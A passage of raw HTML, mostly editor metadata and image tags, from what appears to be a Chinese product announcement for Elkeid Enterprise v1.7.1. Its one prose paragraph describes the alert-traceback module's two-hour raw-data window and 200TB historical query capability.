c1e6IyVrBd&#34;,&#34;doxcnAaWwOykqs2OIfGVcLPpXld&#34;,&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;,&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;,&#34;doxcnqS68K8Qg0uqCsvsOm9qDRh&#34;,&#34;doxcnQug6KisGmM6iQ9wKMsF3Yd&#34;,&#34;doxcnyMSgca84QeWsGg3BNTVFxc&#34;,&#34;doxcnuA4K6s8QU820Jqe5Ff6LzI&#34;,&#34;doxcnU64mwMQmgiQgymCUEotNJg&#34;,&#34;doxcnesoa06Ic4iGOu4hN1ipkif&#34;,&#34;doxcnMyE2W88wcwA0WzBM2oMY6B&#34;,&#34;doxcnOuIUAiwAws44k7H9Tl5uhf&#34;,&#34;doxcnQkWiGSUy6S6eg0PEpRWLqF&#34;,&#34;doxcn66CeY8GQag6021RTPUniPh&#34;,&#34;doxcnGEkKMwAA4skW6YMGzR9Ebh&#34;,&#34;doxcn6GqOcwGKoWwmK4Hxh9RYHt&#34;,&#34;doxcneucsyAOEuweekRe6rSeoic&#34;,&#34;doxcnSkcaAWeIiOQCsH08XMIT5b&#34;,&#34;doxcnWsKEKgeoWk4kcdJrGpvLNg&#34;,&#34;doxcnW2OOIw4iaEk6QkBx0HEtf9&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+m&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 企业版 v1.7.1 正式发布&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;:{&#34;level&#34;:1},&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.590625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=9708efcb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVyHNvYtl0BSRu0MgibXVVnkCibjCxAicNLjdyBq2Uk2qZvkgcRiclFppUwMm9HLicDH0ibpKofcp2yZOic9g%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></span></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">例二：</span><br/></p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;2437f651-effc-4822-8593-afcac3cc3992&#34;,&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;parentId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;start&#34;:82,&#34;end&#34;:82,&#34;blockIds&#34;:[89],&#34;recordIds&#34;:[&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;],&#34;recordMap&#34;:{&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;:{&#34;id&#34;:&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+3&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;例二：&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;:{&#34;id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;,&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;,&#34;doxcnuoeC2gwwicm2Gyx8DyVoAc&#34;,&#34;doxcnismKECwi822Qea1XkQEHHf&#34;,&#34;doxcnEmEE6EYmAw2ewjDhumikHe&#34;,&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;,&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;,&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;,&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;,&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;,&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;,&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;,&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;,&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;,&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;,&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;,&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;,&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;,&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;,&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;,&#34;doxcnqScq0gUaMkgoe6aEIrj7Xf&#34;,&#34;doxcnuKikuAUWYq4qwDbPxqXRFd&#34;,&#34;doxcneqUe0eg4OCA0WysAWxrN2c&#34;,&#34;doxcnyQSSCaYGQaISOSgqrTclPe&#34;,&#34;doxcnOce08EW64M68WopStcgi2g&#34;,&#34;doxcnKS66wkuOucYUwrlLG0Pt4B&#34;,&#34;doxcnIA62amaCSYQwism5e5KWwc&#34;,&#34;doxcnUqOiWyyYOCSwSEC41wN0lh&#34;,&#34;doxcnE2gc0IKym4qCgtCCC7bhUc&#34;,&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;,&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;,&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;,&#34;doxcn228GgQgEyOKS25ZX1KvPNd&#34;,&#34;doxcnkuU2kiYAGgWI6ZTDJ1ZX6e&#34;,&#34;doxcn6EwQo4SM6MAUS6Ku7HZ9Mb&#34;,&#34;doxcn6yY8QqMMeqaECWHCTAWMbb&#34;,&#34;doxcnGuYQSoeqA6Y8aIpbXph1Dh&#34;,&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;,&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;,&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;,&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;,&#34;doxcn2Ss4q8KSKkGos1c18fcuab&#34;,&#34;doxcnOGwcuC2kaoAQKSzFiGqkQe&#34;,&#34;doxcngqckmKSKwkkOWwnP495s7f&#34;,&#34;doxcnu2KuuYuoMEAW6MyckAprph&#34;,&#34;doxcnYQuQIieegmmIczmKPCuaXe&#34;,&#34;doxcnwuwOYWiaeYqOQ3wIzwGDxb&#34;,&#34;doxcnaeAGoUuo2qKwYRFadTnhoe&#34;,&#34;doxcngeI8oaCowU6cE3O2W8XSCg&#34;,&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;,&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;,&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;,&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;,&#34;doxcnk8qoUC6CMWSWamMdxsY63d&#34;,&#34;doxcneOmOSeKoq2QWCusI9MiQeY&#34;,&#34;doxcnskAi662Qcu00UV4EulYXug&#34;,&#34;doxcnk4QkQYAeewsQcDIDD4nI3c&#34;,&#34;doxcnQWWAmA0K2G2AUDbp5lJsFf&#34;,&#34;doxcn4WYEqKOmkCWqKoELHTv2Tc&#34;,&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;,&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;,&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;,&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;,&#34;doxcn8aegCiWoUGC6Omc5d2gLNh&#34;,&#34;doxcnSQkeOSqqqAqeS4DGhNwUHe&#34;,&#34;doxcnk0cOqgos8kegQdT3EjNKEf&#34;,&#34;doxcngkkekuqMIsskuq349gwq4f&#34;,&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;,&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;,&#34;doxcnS4aCkYqgwEeeSOfMyqsj5f&#34;,&#34;doxcnw6mQkIMuwYuSYLaAYVlBje&#34;,&#34;doxcnguKAkCWeCUgym28mOdjHmd&#34;,&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;,&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;,&#34;doxcno8M04aE2KOQMK45nEJFqlh&#34;,&#34;doxcneMkIOUY8U6uO475Z0q9hIh&#34;,&#34;doxcnkOUugassuKI6OUhPaVIIVd&#34;,&#34;doxcnAOGiQussWs8wst5jWnjTnd&#34;,&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;,&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;,&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;,&#34;doxcn8Ok20YEUscI4Ih1ZhVYJRf&#34;,&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;,&#34;doxcnK6wG6KmUS2gqULJPgWD0Re&#34;,&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;,&#34;doxcnGayaSaugwAqC6xZrw1Qc9b&#34;,&#34;doxcn00ks8kYcKEWKQFZJxA5HLd&#34;,&#34;doxcnEAAyksuWSKEoQDWBPMUvPb&#34;,&#34;doxcnqmw4OUsKkIAkeSLorCrMGg&#34;,&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;doxcnykqKs862AuicyQTt8wfxpe&#34;,&#34;doxcnk8MYuIOA8u22sltgqnXG8d&#34;,&#34;doxcnOq2oue8Ue00gCqGl6Ff7Yf&#34;,&#34;doxcn6Uma22EyMWSweCWqa7XKeb&#34;,&#34;doxcnWomma8Eou8UWIHEJWpK9Lg&#34;,&#34;doxcniOGeEqiMia6cW88TkyF3Hg&#34;,&#34;doxcnkmqqeucuKY0YupBxfhzTLS&#34;,&#34;doxcngKUkUcAyImQW6lBR4puF1e&#34;,&#34;doxcnkk0OauwEsYc2MRaIOcJoog&#34;,&#34;doxcnGkqoIuIOUaWgumFTZROXjg&#34;,&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;,&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;,&#34;doxcnaW8QKICAYUGwYNNQctvHNf&#34;,&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;,&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;,&#34;doxcn88yEa0YAAyWMUlOzEjmOVg&#34;,&#34;doxcneQ0COIcKuu6sMvVrc7aqHh&#34;,&#34;doxcnGwC2EuwgKcK8iErEQPvRkc&#34;,&#34;doxcn0KyacsygMCCayWokepIVSU&#34;,&#34;doxcn4qq0A2qGGqUA4j8jax1Pqh&#34;,&#34;doxcnmIkUee2ICGqmyTuxbNIWD5&#34;,&#34;doxcnW4qwKCwS8oOSQx9DPMfL3b&#34;,&#34;doxcnGcyAkMCwMecc9UwLYXmdmj&#34;,&#34;doxcn8AiO0Om6AUKAOYZmCQ2gAd&#34;,&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;,&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;,&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;,&#34;doxcnGCuiO2wwmQAmusMd9Oeksh&#34;,&#34;doxcnIYcw8OoaA2cEGiy0KH8Kcb&#34;,&#34;doxcnAiIk6OC82ioWGGkNvWQ79f&#34;,&#34;doxcn0Ww04600kcymmcYouLHWXf&#34;,&#34;doxcnuGugGYcC2kIy0O7yOOiC6c&#34;,&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;,&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;,&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;,&#34;doxcnmuYIesuwKwioK20kzxejud&#34;,&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;,&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;,&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;,&#34;doxcn4qQCAKOUaeGqolGoYRAuXc&#34;,&#34;doxcnC8au0McQEOkKUJAQTOVksf&#34;,&#34;doxcnem2Was2GWgoa4rSlDkQXGf&#34;,&#34;doxcnsg8geAoomiSUY52o105Dte&#34;,&#34;doxcnouW8IuE82OecwNyPimMiYb&#34;,&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;,&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;,&#34;doxcnQAG4WKck8Eq0KOFuvXcWHg&#34;,&#34;doxcnuGCisiSs4KgcIBn4AbinVb&#34;,&#34;doxcnAWk8M2ASeseW4spZIUadzb&#34;,&#34;doxcnuyqYmoOKgCaccMxEEdamtb&#34;,&#34;doxcnQWSeUiocISOKJCiDp4kZH0&#34;,&#34;doxcn2IWgsIcW0Ys2c1e6IyVrBd&#34;,&#34;doxcnAaWwOykqs2OIfGVcLPpXld&#34;,&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;,&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;,&#34;doxcnqS68K8Qg0uqCsvsOm9qDRh&#34;,&#34;doxcnQug6KisGmM6iQ9wKMsF3Yd&#34;,&#34;doxcnyMSgca84QeWsGg3BNTVFxc&#34;,&#34;doxcnuA4K6s8QU820Jqe5Ff6LzI&#34;,&#34;doxcnU64mwMQmgiQgymCUEotNJg&#34;,&#34;doxcnesoa06Ic4iGOu4hN1ipkif&#34;,&#34;doxcnMyE2W88wcwA0WzBM2oMY6B&#34;,&#34;doxcnOuIUAiwAws44k7H9Tl5uhf&#34;,&#34;doxcnQkWiGSUy6S6eg0PEpRWLqF&#34;,&#34;doxcn66CeY8GQag6021RTPUniPh&#34;,&#34;doxcnGEkKMwAA4skW6YMGzR9Ebh&#34;,&#34;doxcn6GqOcwGKoWwmK4Hxh9RYHt&#34;,&#34;doxcneucsyAOEuweekRe6rSeoic&#34;,&#34;doxcnSkcaAWeIiOQCsH08XMIT5b&#34;,&#34;doxcnWsKEKgeoWk4kcdJrGpvLNg&#34;,&#34;doxcnW2OOIw4iaEk6QkBx0HEtf9&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+m&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 企业版 v1.7.1 正式发布&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=599079bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVyHNvYtl0BSRu0MgibXVVnkCopdhlxRyeqHohpbKbSOvIZoASxxiaGGMWg9B0IvxOrkZ2bLOo265cVA%2F640%3Fwx_fmt%3Dpng"/></p><p><strong><br mpa-from-tpl="t"/></strong></p><p><strong>值得一提的是</strong>，溯源模块目前可以支持告警前后<strong>2个小时</strong>的原始数据溯源，存储部分依赖Elkeid HUB策略引擎，不需要维护专门存储模块。Elkeid HUB 自研的持久化模块实现了<strong>200TB</strong>历史数据秒级查询溯源的能力，并且仅依赖原有计算节点资源，是低成本且可靠的告警溯源解决方案。</p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;2437f651-effc-4822-8593-afcac3cc3992&#34;,&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;parentId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;start&#34;:84,&#34;end&#34;:84,&#34;blockIds&#34;:[91],&#34;recordIds&#34;:[&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;],&#34;recordMap&#34;:{&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;:{&#34;id&#34;:&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[&#34;7086672553208479748&#34;,&#34;7086669161971351553&#34;],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:5,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;bold&#34;,&#34;true&#34;],&#34;2&#34;:[&#34;comment-id-7086672553208479748&#34;,&#34;true&#34;],&#34;3&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;],&#34;4&#34;:[&#34;comment-id-7086669161971351553&#34;,&#34;true&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0*1+6*0+f*0*1+4*0+1m*0*2+4*0+1*3*1+5*3+2*0*4+2*0+n*3+1*0+8*3+4*0+5&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;值得一提的是，溯源模块目前可以支持告警前后2个小时的原始数据溯源，存储部分依赖Elkeid HUB策略引擎，不需要维护专门存储模块。Elkeid HUB 自研的持久化模块实现了200TB历史数据秒级查询溯源的能力，并且仅依赖原有计算节点资源，是低成本且可靠的告警溯源解决方案。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;:{&#34;id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;,&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;,&#34;doxcnuoeC2gwwicm2Gyx8DyVoAc&#34;,&#34;doxcnismKECwi822Qea1XkQEHHf&#34;,&#34;doxcnEmEE6EYmAw2ewjDhumikHe&#34;,&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;,&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;,&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;,&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;,&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;,&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;,&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;,&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;,&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;,&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;,&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;,&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;,&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;,&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;,&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;,&#34;doxcnqScq0gUaMkgoe6aEIrj7Xf&#34;,&#34;doxcnuKikuAUWYq4qwDbPxqXRFd&#34;,&#34;doxcneqUe0eg4OCA0WysAWxrN2c&#34;,&#34;doxcnyQSSCaYGQaISOSgqrTclPe&#34;,&#34;doxcnOce08EW64M68WopStcgi2g&#34;,&#34;doxcnKS66wkuOucYUwrlLG0Pt4B&#34;,&#34;doxcnIA62amaCSYQwism5e5KWwc&#34;,&#34;doxcnUqOiWyyYOCSwSEC41wN0lh&#34;,&#34;doxcnE2gc0IKym4qCgtCCC7bhUc&#34;,&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;,&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;,&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;,&#34;doxcn228GgQgEyOKS25ZX1KvPNd&#34;,&#34;doxcnkuU2kiYAGgWI6ZTDJ1ZX6e&#34;,&#34;doxcn6EwQo4SM6MAUS6Ku7HZ9Mb&#34;,&#34;doxcn6yY8QqMMeqaECWHCTAWMbb&#34;,&#34;doxcnGuYQSoeqA6Y8aIpbXph1Dh&#34;,&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;,&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;,&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;,&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;,&#34;doxcn2Ss4q8KSKkGos1c18fcuab&#34;,&#34;doxcnOGwcuC2kaoAQKSzFiGqkQe&#34;,&#34;doxcngqckmKSKwkkOWwnP495s7f&#34;,&#34;doxcnu2KuuYuoMEAW6MyckAprph&#34;,&#34;doxcnYQuQIieegmmIczmKPCuaXe&#34;,&#34;doxcnwuwOYWiaeYqOQ3wIzwGDxb&#34;,&#34;doxcnaeAGoUuo2qKwYRFadTnhoe&#34;,&#34;doxcngeI8oaCowU6cE3O2W8XSCg&#34;,&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;,&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;,&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;,&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;,&#34;doxcnk8qoUC6CMWSWamMdxsY63d&#34;,&#34;doxcneOmOSeKoq2QWCusI9MiQeY&#34;,&#34;doxcnskAi662Qcu00UV4EulYXug&#34;,&#34;doxcnk4QkQYAeewsQcDIDD4nI3c&#34;,&#34;doxcnQWWAmA0K2G2AUDbp5lJsFf&#34;,&#34;doxcn4WYEqKOmkCWqKoELHTv2Tc&#34;,&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;,&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;,&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;,&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;,&#34;doxcn8aegCiWoUGC6Omc5d2gLNh&#34;,&#34;doxcnSQkeOSqqqAqeS4DGhNwUHe&#34;,&#34;doxcnk0cOqgos8kegQdT3EjNKEf&#34;,&#34;doxcngkkekuqMIsskuq349gwq4f&#34;,&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;,&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;,&#34;doxcnS4aCkYqgwEeeSOfMyqsj5f&#34;,&#34;doxcnw6mQkIMuwYuSYLaAYVlBje&#34;,&#34;doxcnguKAkCWeCUgym28mOdjHmd&#34;,&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;,&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;,&#34;doxcno8M04aE2KOQMK45nEJFqlh&#34;,&#34;doxcneMkIOUY8U6uO475Z0q9hIh&#34;,&#34;doxcnkOUugassuKI6OUhPaVIIVd&#34;,&#34;doxcnAOGiQussWs8wst5jWnjTnd&#34;,&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;,&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;,&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;,&#34;doxcn8Ok20YEUscI4Ih1ZhVYJRf&#34;,&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;,&#34;doxcnK6wG6KmUS2gqULJPgWD0Re&#34;,&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;,&#34;doxcnGayaSaugwAqC6xZrw1Qc9b&#34;,&#34;doxcn00ks8kYcKEWKQFZJxA5HLd&#34;,&#34;doxcnEAAyksuWSKEoQDWBPMUvPb&#34;,&#34;doxcnqmw4OUsKkIAkeSLorCrMGg&#34;,&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;doxcnykqKs862AuicyQTt8wfxpe&#34;,&#34;doxcnk8MYuIOA8u22sltgqnXG8d&#34;,&#34;doxcnOq2oue8Ue00gCqGl6Ff7Yf&#34;,&#34;doxcn6Uma22EyMWSweCWqa7XKeb&#34;,&#34;doxcnWomma8Eou8UWIHEJWpK9Lg&#34;,&#34;doxcniOGeEqiMia6cW88TkyF3Hg&#34;,&#34;doxcnkmqqeucuKY0YupBxfhzTLS&#34;,&#34;doxcngKUkUcAyImQW6lBR4puF1e&#34;,&#34;doxcnkk0OauwEsYc2MRaIOcJoog&#34;,&#34;doxcnGkqoIuIOUaWgumFTZROXjg&#34;,&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;,&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;,&#34;doxcnaW8QKICAYUGwYNNQctvHNf&#34;,&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;,&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;,&#34;doxcn88yEa0YAAyWMUlOzEjmOVg&#34;,&#34;doxcneQ0COIcKuu6sMvVrc7aqHh&#34;,&#34;doxcnGwC2EuwgKcK8iErEQPvRkc&#34;,&#34;doxcn0KyacsygMCCayWokepIVSU&#34;,&#34;doxcn4qq0A2qGGqUA4j8jax1Pqh&#34;,&#34;doxcnmIkUee2ICGqmyTuxbNIWD5&#34;,&#34;doxcnW4qwKCwS8oOSQx9DPMfL3b&#34;,&#34;doxcnGcyAkMCwMecc9UwLYXmdmj&#34;,&#34;doxcn8AiO0Om6AUKAOYZmCQ2gAd&#34;,&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;,&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;,&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;,&#34;doxcnGCuiO2wwmQAmusMd9Oeksh&#34;,&#34;doxcnIYcw8OoaA2cEGiy0KH8Kcb&#34;,&#34;doxcnAiIk6OC82ioWGGkNvWQ79f&#34;,&#34;doxcn0Ww04600kcymmcYouLHWXf&#34;,&#34;doxcnuGugGYcC2kIy0O7yOOiC6c&#34;,&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;,&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;,&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;,&#34;doxcnmuYIesuwKwioK20kzxejud&#34;,&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;,&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;,&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;,&#34;doxcn4qQCAKOUaeGqolGoYRAuXc&#34;,&#34;doxcnC8au0McQEOkKUJAQTOVksf&#34;,&#34;doxcnem2Was2GWgoa4rSlDkQXGf&#34;,&#34;doxcnsg8geAoomiSUY52o105Dte&#34;,&#34;doxcnouW8IuE82OecwNyPimMiYb&#34;,&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;,&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;,&#34;doxcnQAG4WKck8Eq0KOFuvXcWHg&#34;,&#34;doxcnuGCisiSs4KgcIBn4AbinVb&#34;,&#34;doxcnAWk8M2ASeseW4spZIUadzb&#34;,&#34;doxcnuyqYmoOKgCaccMxEEdamtb&#34;,&#34;doxcnQWSeUiocISOKJCiDp4kZH0&#34;,&#34;doxcn2IWgsIcW0Ys2c1e6IyVrBd&#34;,&#34;doxcnAaWwOykqs2OIfGVcLPpXld&#34;,&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;,&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;,&#34;doxcnqS68K8Qg0uqCsvsOm9qDRh&#34;,&#34;doxcnQug6KisGmM6iQ9wKMsF3Yd&#34;,&#34;doxcnyMSgca84QeWsGg3BNTVFxc&#34;,&#34;